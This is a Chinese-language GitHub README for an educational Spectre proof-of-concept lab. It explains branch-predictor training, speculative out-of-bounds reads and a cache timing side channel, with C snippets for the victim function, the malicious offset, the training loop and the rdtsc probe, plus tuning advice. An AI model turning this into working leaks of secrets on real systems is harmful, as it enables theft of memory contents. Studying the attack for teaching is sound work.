Skip to content

Jadon-Chan/Spectre

Repository files navigation

Spectre攻击验证实验

实验概述

本实验实现了Spectre漏洞的概念验证,演示如何利用CPU分支预测和缓存侧信道技术读取敏感数据。

攻击原理

  1. 分支预测器训练: 通过多次正确的分支访问训练CPU的分支预测器
  2. 投机执行触发: 使用恶意输入触发投机执行,越界访问敏感数据
  3. 缓存侧信道: 通过测量缓存访问时间来推断被访问的数据值

代码结构

关键变量

  • secret: 包含敏感信息的字符串
  • spy: 用于合法访问的数组
  • cache_set: 256×512字节的缓存驱逐集
  • spy_size: spy数组的大小
  • result: 统计各字节值的缓存命中次数

核心函数

Victim_Function(size_t x)

存在分支预测漏洞的受害者函数:

void Victim_Function(size_t x) {
    if (x < spy_size) {
        temp &= cache_set[spy[x] * 512];
    }
}

read_byte(size_t malicious_x)

执行Spectre攻击读取一个字节的敏感数据:

  1. 缓存刷新: 清空cache_set和spy_size的缓存状态
  2. 分支预测器训练:
    • 5次正常调用Victim_Function(x < spy_size)
    • 1次恶意调用Victim_Function(x = malicious_x,越界访问)
  3. 缓存状态检测:
    • 随机顺序访问cache_set各位置
    • 测量访问时间,判断是否缓存命中
    • 统计各字节值的命中次数
  4. 结果推断: 选择命中次数最多的字节值作为泄露数据

实验步骤详解

步骤1: 准备阶段

size_t malicious_x = (size_t)(secret - (char*)spy);

计算恶意访问的偏移量,使spy[malicious_x]指向secret数据。

步骤2: 缓存刷新

flush_cache_set();
_mm_clflush(&spy_size);

确保缓存处于干净状态,避免干扰。

步骤3: 分支预测器训练

for (j = 29; j >= 0; j--) {
    if (j % 6 != 0) {
        Victim_Function(training_x);  // 正常训练
    } else {
        Victim_Function(malicious_x); // 恶意访问
    }
}

5:1的比例训练分支预测器,使其预测分支为"真"。

步骤4: 缓存侧信道检测

time1 = rdtsc();
junk = *addr;
time2 = rdtsc();
if ((time2 - time1) < threshold) {
    result[mix_i]++;
}

通过时间测量判断缓存命中,统计各字节值的可能性。

编译和运行

编译程序

make

运行攻击

make run

清理文件

make clean

重要参数

  • threshold: 缓存命中阈值,默认80,可根据硬件调整
  • 训练比例: 5:1的正常访问vs恶意访问比例
  • 重试次数: 每个字节尝试1000次攻击
  • 延时: 确保缓存刷新和分支预测器状态的延时

实验环境要求

  1. Intel处理器(支持乱序执行和分支预测)
  2. Linux操作系统
  3. 编译器:GCC
  4. 需要关闭某些编译优化以确保攻击有效

预期结果

成功的攻击应该能够逐字节泄露secret字符串的内容:

目标敏感数据: This is a secret message!
泄露的敏感数据: This is a secret message!

安全意义

这个实验展示了:

  1. CPU性能优化技术可能带来的安全风险
  2. 侧信道攻击的威力
  3. 软件安全需要考虑硬件层面的漏洞

注意事项

  1. 攻击成功率受硬件特性影响
  2. 某些字节可能显示为'?',表示攻击失败
  3. 可以通过调整threshold值来优化攻击效果
  4. 本实验仅用于教育目的,请勿用于恶意攻击

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors